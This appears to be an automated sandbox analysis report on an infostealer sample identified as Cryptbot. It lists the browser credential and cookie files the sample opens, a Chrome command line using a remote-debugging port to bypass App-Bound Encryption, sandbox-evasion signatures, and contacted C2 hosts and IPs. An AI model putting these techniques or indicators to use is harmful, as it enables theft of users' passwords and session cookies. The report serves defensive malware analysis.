Source: Amcache.hve.14.dr Binary or memory string: msmpeng.exe
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 9.2.service123.exe.6c830000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7432, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.10:49703 -> 185.121.15.192:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\RGU8qibimk.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1580275 Sample: RGU8qibimk.exe Startdate: 24/12/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Antivirus / Scanner detection for submitted sample 2->52 54 Multi AV Scanner detection for submitted file 2->54 56 7 other signatures 2->56 7 RGU8qibimk.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 5 other processes 2->16 process3 dnsIp4 40 twentytk20ht.top 185.121.15.192, 49703, 49704, 49708 REDSERVICIOES Spain 7->40 42 httpbin.org 34.226.108.155, 443, 49702 AMAZON-AESUS United States 7->42 44 2 other IPs or domains 7->44 36 C:\Users\user\AppData\...\service123.exe, PE32 7->36 dropped 38 C:\Users\user\...LLRGATenShKoyKeRtXA.dll, PE32 7->38 dropped 62 Attempt to bypass Chrome Application-Bound Encryption 7->62 64 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->64 66 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->66 68 8 other signatures 7->68 18 service123.exe 7->18         started        21 WerFault.exe 19 16 7->21         started        24 chrome.exe 7->24         started        27 schtasks.exe 1 7->27         started        file5 signatures6 process7 dnsIp8 58 Found evasive API chain (may stop execution after checking mutex) 18->58 60 Found stalling execution ending in API Sleep call 18->60 34 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->34 dropped 46 239.255.255.250 unknown Reserved 24->46 29 chrome.exe 24->29         started        32 conhost.exe 27->32         started        file9 signatures10 process11 dnsIp12 48 www.google.com 172.217.21.36, 443, 49713, 49717 GOOGLEUS United States 29->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.121.15.192
 home.twentytk20ht.top Spain
207046 REDSERVICIOES false
34.226.108.155
 httpbin.org United States
14618 AMAZON-AESUS false
239.255.255.250
 unknown Reserved
unknown unknown false
172.217.21.36
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.google.com 172.217.21.36 true
home.twentytk20ht.top 185.121.15.192 true
twentytk20ht.top 185.121.15.192 true
httpbin.org 34.226.108.155 true